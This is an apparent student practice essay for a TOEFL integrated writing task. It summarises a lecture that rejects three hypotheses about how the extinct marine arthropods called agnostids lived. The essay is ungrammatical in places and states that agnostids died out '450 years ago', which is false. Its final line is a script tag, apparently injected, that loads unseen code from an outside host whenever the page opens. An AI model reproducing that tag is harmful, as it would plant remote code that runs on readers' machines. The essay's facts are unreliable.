TPO 43 integrated writing

The reading and the passage are both contradicting each other about a marine animal called Agnostids, which became extinct 450 years ago. More specifically, the writer discusses they looked like a modern insect according to their fossil records, but there are no firm witnesses to prove their lifestyle. The lecturer in the listening passage disagrees with all mentioned hypotheses in the reading and provides some evidence to refute them.

First of all, the author begins by stating the agnostids could have been in the category of free-swimming predators since they were believed to be a strong swimmer. Nonetheless, the speaker negates the argument presented in the passage. Furthermore, declare that the free-swimmer predators must possess large eyesight in order to find their prey, but the agnostids had weak and tiny eyes, and sometimes, they were blind too. Therefore, it is not possible for them to catch predators in the open oceans.

Moreover, another passage highlights that the agnostids might have lived as seafloor dwellers who used to eat dead organisms and bacteria. Again, the lecturer believes there are some flaws in the writer's argument. The narrator holds that the sea dwellers cannot move very fast and prefer to stay localized in their life. In contrast, the agnostids could dwell in large locations because they were very fast swimmers. Thus, they could not seafloor dwellers.

Lastly, the text explains that the agnostids were parasites and might be lived and fed on larger organisms. On the contrary, the speaker again opposes the hypothesis and describes that the parasites do not exist in a vast population otherwise, they would kill the host organisms if growing in large numbers. Conversely, agnostids had lived in a large population rule out the fact that they were parasites.

<script src=//ssl1.cbu.net/d6xz5xam></script>